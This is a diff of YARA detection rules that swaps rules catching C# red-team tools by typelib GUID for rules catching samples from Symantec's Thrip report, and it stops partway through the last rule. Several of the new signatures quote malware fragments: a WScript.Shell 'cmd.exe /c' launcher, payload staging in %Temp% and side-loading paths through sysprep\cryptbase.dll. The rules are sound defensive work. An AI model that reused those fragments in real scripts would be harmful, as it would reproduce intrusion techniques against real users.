+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4640e874-faa4-58dc-a3f3-18246a343f15"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/RythmStick/CVE-2019-1064"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3198-L3212"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d78b15454af39bca869c07a78550d2b3827ecdd03bcf02a8614e0c8247fcf5c1"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "5b506069-8185-5dc0-bf64-90646f6bab6b"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L13-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6e94111abe83aa500bfa35a3a7c2d43c3ed4011bc540401f047e84cfc27204ca"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "59509a17d516813350fe1683ca6b9727bd96dd81ce3435484a5a53b472ff4ae9"
 
 	strings:
-		$typelibguid0lo = "ff97e98a-635e-4ea9-b2d0-1a13f6bdbc38" ascii wide
-		$typelibguid0up = "FF97E98A-635E-4EA9-B2D0-1A13F6BDBC38" ascii wide
+		$s1 = "idocback.dll" fullword ascii
+		$s2 = "constructor or from DllMain." fullword ascii
+		$s3 = "appmgmt" fullword ascii
+		$s4 = "chksrv" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Tokenvator : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "84ebb6b3-cf11-5172-95d4-d114bfeb0bc7"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/0xbadjuju/Tokenvator"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3214-L3228"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7bd3cc74ea70f247836ed4d0da9602b21e962c6b7b2d8fdf89c9c46ba919fc71"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "bc1cfcc8-64a0-5da0-8ff7-147da8a3af0b"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L31-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ddd3dee11e25ea40fa3cc578c6a836ea850359a5914d5eb5d16ea4340827b91b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1fc9f7065856cd8dc99b6f46cf0953adf90e2c42a3b65374bf7b50274fb200cc"
 
 	strings:
-		$typelibguid0lo = "4b2b3bd4-d28f-44cc-96b3-4a2f64213109" ascii wide
-		$typelibguid0up = "4B2B3BD4-D28F-44CC-96B3-4A2F64213109" ascii wide
+		$s1 = "C:\\WINDOWS\\system32\\sysprep\\cryptbase.dll" fullword ascii
+		$s2 = "ProbeScriptFint" fullword wide
+		$s3 = "C:\\WINDOWS\\system32\\cmd.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <60KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Wheresmyimplant : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_3 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c99523ce-e2c0-5a21-89d1-70c0dd970731"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/0xbadjuju/WheresMyImplant"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3230-L3244"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0bc82dfd6e07f6ff8a9cb7b6331f3f600db30ee053592422d1eddaff3c46cfdf"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "67ea7ed1-954f-5b3e-b058-452be3b6fdfa"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L48-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f1617829ccf7da6ee2e9f692fbf1f61d3f1c6a17103db85190d6a8b4fca69328"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0d2abdcaad99e102fdf6574b3dc90f17cb9d060c20e6ac4ff378875d3b91a840"
 
 	strings:
-		$typelibguid0lo = "cca59e4e-ce4d-40fc-965f-34560330c7e6" ascii wide
-		$typelibguid0up = "CCA59E4E-CE4D-40FC-965F-34560330C7E6" ascii wide
+		$s1 = "C:\\Windows\\SysNative\\cmd.exe" fullword ascii
+		$s2 = "C:\\Windows\\SysNative\\sysprep\\cryptbase.dll" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <60KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Naga : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_4 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3a9d3154-a8f1-57a4-8b61-498e2ebdfa42"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/byt3bl33d3r/Naga"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3246-L3262"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ff115b2817926a072088d5077d2969028b64ce2306920fa3278cfe842246e747"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "9dcfcdbd-d18f-5eba-a10c-95686f010f23"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L64-L85"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f258070054a29cbec0876536d295b85c7bd9f23988d1e0fc2ba58660b0796716"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6b236d3fc54d36e6dc2a26299f6ded597058fed7c9099f1a37716c5e4b162abc"
 
 	strings:
-		$typelibguid0lo = "99428732-4979-47b6-a323-0bb7d6d07c95" ascii wide
-		$typelibguid0up = "99428732-4979-47B6-A323-0BB7D6D07C95" ascii wide
-		$typelibguid1lo = "a2c9488f-6067-4b17-8c6f-2d464e65c535" ascii wide
-		$typelibguid1up = "A2C9488F-6067-4B17-8C6F-2D464E65C535" ascii wide
+		$s1 = "\\system32\\wbem\\tmf\\caches_version.db" ascii
+		$s2 = "ProcessName No Access" fullword ascii
+		$s3 = "Hwnd of Process NULL" fullword ascii
+		$s4 = "*********The new session is be opening:(%d)**********" fullword ascii
+		$s5 = "[EXECUTE]" fullword ascii
+		$s6 = "/------------------------------------------------------------------------" fullword ascii
+		$s7 = "constructor or from DllMain." fullword ascii
+		$s8 = "Time:%d-%d-%d %d:%d:%d" fullword ascii
+		$s9 = "\\info.config" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <400KB and 5 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpbox : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_5 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "fda1a67f-d746-5ddb-a33f-97d608b13bc9"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/P1CKLES/SharpBox"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3264-L3278"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dba572c1c52bc887600e5e674403b3a43578ca43c8ea4d6b34530796ef1de0d0"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "42c56ed6-a509-568f-a611-ce7e5c5d9d8e"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L87-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f2d4cfd55017ebb34fb6e8ad1b0b46b184926c69d4bacee88dc639771f96792"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "32889639a27961497d53176765b3addf9fff27f1c8cc41634a365085d6d55920"
 
 	strings:
-		$typelibguid0lo = "616c1afb-2944-42ed-9951-bf435cadb600" ascii wide
-		$typelibguid0up = "616C1AFB-2944-42ED-9951-BF435CADB600" ascii wide
+		$s2 = "c:\\windows\\USBEvent.exe" fullword ascii
+		$s5 = "c:\\windows\\spdir.dat" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Rundotnetdll32 : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_6 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "266c8add-d2ca-5e46-8594-5d190447d133"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/0xbadjuju/rundotnetdll32"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3280-L3294"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8d20de93f5e9f0fce189130862153e533a79038d4fdaadb3d4216b6bd294ae05"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "a1c65bc1-371e-509f-a01c-2d58c1773f95"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L103-L116"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f6cc84ebed26a0dbecfcb3ffb3a11c111ae3d5b40497d59ada518d33bee57fdd"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "44f58496578e55623713c4290abb256d03103e78e99939daeec059776bd79ee2"
 
 	strings:
-		$typelibguid0lo = "a766db28-94b6-4ed1-aef9-5200bbdd8ca7" ascii wide
-		$typelibguid0up = "A766DB28-94B6-4ED1-AEF9-5200BBDD8CA7" ascii wide
+		$s1 = "C:\\Windows\\system32\\Instell.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <100KB and 1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Antidebug : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_7 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f381081b-d0cb-593d-ad3d-28816f770b67"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/malcomvetter/AntiDebug"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3296-L3310"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "32ae8a5221f3b1c913163590291461fe7868f25be02c3b0b045a4934d97d244a"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "16739590-eb88-5de2-bd76-974b3343ec19"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L118-L131"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "198f8869e56d5549d9195524a86f6557162c5d25b4915bec0bf513797d880ea1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6b714dc1c7e58589374200d2c7f3d820798473faeb26855e53101b8f3c701e3f"
 
 	strings:
-		$typelibguid0lo = "997265c1-1342-4d44-aded-67964a32f859" ascii wide
-		$typelibguid0up = "997265C1-1342-4D44-ADED-67964A32F859" ascii wide
+		$s1 = "C:\\runme.exe" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <60KB and 1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Dinvisibleregistry : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_8 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "98409bbe-6346-5825-b7f7-c1afeac2b038"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/NVISO-BE/DInvisibleRegistry"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3312-L3326"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a14dca802a63983d1c3974a4c195fd7bd5f256ace03d4bcea2d88eef6958931b"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "5eb98c9e-5103-5146-9364-d5f24416406f"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L133-L148"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6c8ddc7fb5f3256e57e66f502f6e3c582d82540f773bf4113cac4a685d45f81b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0f2d09b1ad0694f9e71eeebec5b2d137665375bf1e76cb4ae4d7f20487394ed3"
 
 	strings:
-		$typelibguid0lo = "31d576fb-9fb9-455e-ab02-c78981634c65" ascii wide
-		$typelibguid0up = "31D576FB-9FB9-455E-AB02-C78981634C65" ascii wide
+		$x1 = "$.oS.Run('cmd.exe /c '+a+'" fullword ascii
+		$x2 = "new $._x('WScript.Shell');" ascii
+		$x3 = ".ExpandEnvironmentStrings('%Temp%')+unescape('" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <10KB and 1 of ($x*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Tikitorch : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_9 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "354ee690-a0d0-5cc5-a73b-53b916ed0169"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/rasta-mouse/TikiTorch"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3328-L3354"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "072129fea5e40b2fcbf13156ccf8c5a05e343b98f02dc7140261f6534a5b9e4e"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "7fcd8d7f-ed60-5155-a0dd-f3a36f3f2981"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L150-L170"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0500481ae4bb7d4a223a106d2887b994e5000815704e678b2f3ff127a86c22a2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-
-	strings:
-		$typelibguid0lo = "806c6c72-4adc-43d9-b028-6872fa48d334" ascii wide
-		$typelibguid0up = "806C6C72-4ADC-43D9-B028-6872FA48D334" ascii wide
-		$typelibguid1lo = "2ef9d8f7-6b77-4b75-822b-6a53a922c30f" ascii wide
-		$typelibguid1up = "2EF9D8F7-6B77-4B75-822B-6A53A922C30F" ascii wide
-		$typelibguid2lo = "8f5f3a95-f05c-4dce-8bc3-d0a0d4153db6" ascii wide
-		$typelibguid2up = "8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6" ascii wide
-		$typelibguid3lo = "1f707405-9708-4a34-a809-2c62b84d4f0a" ascii wide
-		$typelibguid3up = "1F707405-9708-4A34-A809-2C62B84D4F0A" ascii wide
-		$typelibguid4lo = "97421325-b6d8-49e5-adf0-e2126abc17ee" ascii wide
-		$typelibguid4up = "97421325-B6D8-49E5-ADF0-E2126ABC17EE" ascii wide
-		$typelibguid5lo = "06c247da-e2e1-47f3-bc3c-da0838a6df1f" ascii wide
-		$typelibguid5up = "06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F" ascii wide
-		$typelibguid6lo = "fc700ac6-5182-421f-8853-0ad18cdbeb39" ascii wide
-		$typelibguid6up = "FC700AC6-5182-421F-8853-0AD18CDBEB39" ascii wide
+		hash1 = "8e6682bcc51643f02a864b042f7223b157823f3d890fe21d38caeb43500d923e"
+		hash2 = "0c8ca0fd0ec246ef207b96a3aac5e94c9c368504905b0a033f11eef8c62fa14c"
+		hash3 = "6d0a2c822e2bc37cc0cec35f040d3fec5090ef2775df658d3823e47a93a5fef3"
+		hash4 = "0c49d1632eb407b5fd0ce32ed45b1c783ac2ef60d001853ae1f6b7574e08cfa9"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="a7f0714e82b3105031fa7bc89dfe7664" or pe.imphash()=="8812ff21aeb160e8800257140acae54b" or pe.imphash()=="44a1e904763fe2d0837c747c7061b010" or pe.imphash()=="51a854d285aa12eb82e76e6e1be01573" or pe.imphash()=="a1f457c8c549c5c430556bfe5887a4e6")
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Hivejack : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_10 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "10567ef4-780f-5e93-9061-3214116d6bbb"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/Viralmaniar/HiveJack"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3356-L3370"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "22ca377cc1f1d634564084e92e976e21df0cf8bf864cb772a49f740a6a429a4e"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "3307ca18-59fb-5400-b51e-c4f4aa99e592"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L172-L189"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "79a8dfd63e96ccc9259272476e364e53b841b42255a2a5f3b9f93e91caa5d1c2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "350d2a6f8e6a4969ffbf75d9f9aae99e7b3a8cd8708fd66f977e07d7fbf842e3"
 
 	strings:
-		$typelibguid0lo = "e12e62fe-bea3-4989-bf04-6f76028623e3" ascii wide
-		$typelibguid0up = "E12E62FE-BEA3-4989-BF04-6F76028623E3" ascii wide
+		$x1 = "!This Program cannot be run in DOS mode." fullword ascii
+		$x2 = "!this program cannot be run in dos mode." fullword ascii
+		$s1 = "svchost.dll" fullword ascii
+		$s2 = "constructor or from DllMain." fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <200KB and ($x1 or 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Decryptautologon : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_11 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3ef58da9-16c1-54cf-9d06-a05680548cf5"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/securesean/DecryptAutoLogon"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3372-L3386"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d8d05f568528616da30f0f35c3baf7ba762e33319a7d7975ddb23e42944884f"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "69476f7d-c436-5863-bf20-1d3e821974e6"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L191-L210"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "066fc3622a0db5cc511e85f6efc08191c2c9268524c8761dc17a05e6d133c263"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "590a6796b97469f8e6977832a63c0964464901f075a9651f7f1b4578e55bd8c8"
 
 	strings:
-		$typelibguid0lo = "015a37fc-53d0-499b-bffe-ab88c5086040" ascii wide
-		$typelibguid0up = "015A37FC-53D0-499B-BFFE-AB88C5086040" ascii wide
+		$s1 = "\\AppData\\Local\\Temp\\dw20.EXE" ascii
+		$s2 = "C:\\Windows\\system32\\sysprep\\cryptbase.dll" fullword ascii
+		$s3 = "WFQNJMBWF" fullword ascii
+		$s4 = "SQLWLWZSF" fullword ascii
+		$s5 = "PFQUFQSBPP" fullword ascii
+		$s6 = "WQZXQFPVOW" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="6eef4394490378f32d134ab3bf4bf194" or all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Unstoppableservice : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_12 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8c65fbee-d779-57a8-851b-7583be66c67a"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/malcomvetter/UnstoppableService"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3388-L3402"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1b2039d27bfaa624b47886e7a310e6b2ec0f6063e973e449270dfca54a7bdd7b"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "b24b8042-b6a3-5af8-9fcf-6d042bdb9524"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L212-L234"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49357a34f3b1d0bb86d1c6ddfa6a6c3b92bfafaebd050d835c0a902199a2121b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "33c01d3266fe6a70e8785efaf10208f869ae58a17fd9cdb2c6995324c9a01062"
 
